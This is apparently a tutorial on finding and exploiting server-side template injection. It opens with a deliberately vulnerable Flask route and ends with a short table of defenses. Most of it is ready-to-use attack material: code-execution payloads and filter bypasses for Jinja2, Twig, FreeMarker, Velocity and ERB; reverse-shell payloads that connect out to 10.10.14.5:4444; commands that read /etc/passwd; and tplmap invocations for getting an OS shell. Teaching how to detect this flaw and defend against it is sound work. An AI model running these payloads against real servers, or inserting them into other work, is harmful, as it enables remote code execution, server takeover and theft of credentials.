Server-Side Template Injection (SSTI): Detection and Exploitation
Server-Side Template Injection (SSTI) occurs when user input is embedded directly into a template that is then rendered server-side, allowing attackers to inject template syntax that the engine evaluates. Depending on the template engine and configuration, SSTI can escalate from information disclosure all the way to Remote Code Execution (RCE) — making it one of the most critical web vulnerabilities you can find during a penetration test.
Legal notice: Only test for SSTI against applications you own or have explicit written permission to assess.
How SSTI Happens
A vulnerable application might look like this in Python (Flask/Jinja2):
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route("/greet")
def greet():
name = request.args.get("name", "World")
# VULNERABLE: user input directly inside template string
template = f"<h1>Hello, {name}!</h1>"
return render_template_string(template)
The developer intended name to be a plain string, but render_template_string() processes it as a Jinja2 template. An attacker providing {{7*7}} gets back <h1>Hello, 49!</h1> — the expression was evaluated.
The safe fix: pass user data as a context variable, never embed it directly in the template string:
return render_template_string("<h1>Hello, {{ name }}!</h1>", name=name)
Detection: Probing for Template Syntax
Step 1: Identify Reflection Points
Look for any input that appears reflected in the response: URL parameters, form fields, HTTP headers, search boxes, profile fields, error messages, and cookie values.
Step 2: Send Probe Payloads
The classic detection payload:
{{7*7}} → Should return 49 (Jinja2, Twig)
${7*7} → Should return 49 (FreeMarker, Velocity)
#{7*7} → Should return 49 (Thymeleaf)
<%= 7*7 %> → Should return 49 (ERB/Ruby)
A more distinctive probe that differentiates engines:
{{7*'7'}}
- Jinja2 returns
7777777 (string multiplication)
- Twig returns
49 (numeric coercion)
- No output change — likely not a template engine, or sanitized
Decision Tree
Does {{7*7}} return 49?
├─ YES → Is {{7*'7'}} = 7777777? → Jinja2 (Python)
│ Is {{7*'7'}} = 49? → Twig (PHP)
└─ NO → Does ${7*7} return 49? → FreeMarker / Velocity (Java)
Does <%= 7*7 %> work? → ERB (Ruby)
Jinja2 Exploitation (Python/Flask/Django)
Jinja2 runs on Python, which means SSTI can reach Python’s object hierarchy.
{{ ''.__class__.__mro__[1].__subclasses__() }}
This dumps all Python subclasses available in memory. From here, find subprocess.Popen or os._wrap_close to execute commands.
Remote Code Execution
The most reliable Jinja2 RCE payload using __import__:
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
Alternative via config object in Flask:
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
Full reverse shell via Jinja2:
{{ self.__init__.__globals__.__builtins__.__import__('os').popen(
'bash -c "bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"'
).read() }}
URL-encode the payload when sending via GET parameter:
curl "http://target.com/greet?name=%7B%7B%20self.__init__.__globals__.__builtins__.__import__(%27os%27).popen(%27id%27).read()%20%7D%7D"
Bypassing Filters
Applications may filter __class__, __mro__, or brackets. Common bypasses:
# Using request object in Flask context
{{ request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('id')['read']() }}
# Attribute access with getattr workaround
{{ ()|attr('__class__')|attr('__base__')|attr('__subclasses__')() }}
# Hex-encoded attribute names
{{ ''['\x5f\x5fclass\x5f\x5f'] }}
Twig Exploitation (PHP)
Twig is used in PHP frameworks like Symfony and Drupal.
Basic Probe
{{7*7}} → 49
{{dump(app)}} → dumps application object
Code Execution in Twig
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}
Or using system():
{{ ['id'] | filter('system') }}
For a reverse shell:
{{ ['bash -c "bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"'] | filter('passthru') }}
FreeMarker Exploitation (Java)
FreeMarker is common in Java web applications (Apache Struts, Spring).
Basic Detection
${7*7} → 49
${"freemarker.template.utility.Execute"?new()("id")}
Remote Code Execution
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}
${ex("cat /etc/passwd")}
FreeMarker RCE is particularly impactful because Java applications often run with elevated service account privileges.
Velocity Exploitation (Java)
Apache Velocity is used in legacy Java web applications:
#set($x='')##
#set($rt=$x.class.forName('java.lang.Runtime'))
#set($chr=$x.class.forName('java.lang.Character'))
#set($str=$x.class.forName('java.lang.String'))
#set($ex=$rt.getRuntime().exec('id'))
$ex.waitFor()
#set($out=$ex.getInputStream())
...
ERB Exploitation (Ruby on Rails)
<%= 7*7 %> → 49
<%= `id` %> → command execution via backtick operator
<%= system("id") %> → alternative
Using tplmap for Automated Detection
tplmap is a Burp Suite-style tool for automated SSTI detection and exploitation:
git clone https://github.com/epinna/tplmap.git
cd tplmap
pip install -r requirements.txt
# Detect and auto-exploit
python3 tplmap.py -u "http://target.com/page?name=*"
# Get a shell
python3 tplmap.py -u "http://target.com/page?name=*" --os-shell
The * marks the injection point.
SSTI in Burp Suite
- Send the request containing the reflection point to Repeater
- Replace the reflected parameter value with
{{7*7}}
- Check the response for
49
- Use Intruder with a wordlist of polyglot probes to test multiple parameters at once
A useful polyglot that tests multiple engines simultaneously:
${{<%[%'"}}%\
If the server throws a template-engine-specific error message, the engine is identified even without a successful evaluation.
Impact and CVSS Scoring
SSTI to RCE is typically rated Critical (CVSS 9.8+) because:
- Arbitrary code runs with the web server’s OS privileges
- File system access allows reading sensitive configs, keys, and credentials
- Can lead to full server compromise and lateral movement
Defensive Recommendations
| Defense | Description |
|---|
| Never render user input as template code | Pass data as context variables only |
| Sandbox template engines | Use Jinja2’s SandboxedEnvironment |
| Input validation | Reject characters like {, }, $, <, % where not needed |
| WAF rules | Block common SSTI probe patterns |
| Least privilege | Run web servers as low-privilege users |
Summary
SSTI is a high-impact vulnerability that arises from a simple programming mistake: treating user data as code. The detection workflow — probe with math expressions, identify the engine, escalate through the object hierarchy — is straightforward once you understand the underlying mechanics. Jinja2, Twig, FreeMarker, and Velocity each have distinct payloads, but the core concept is the same: escape the data context and enter the execution context.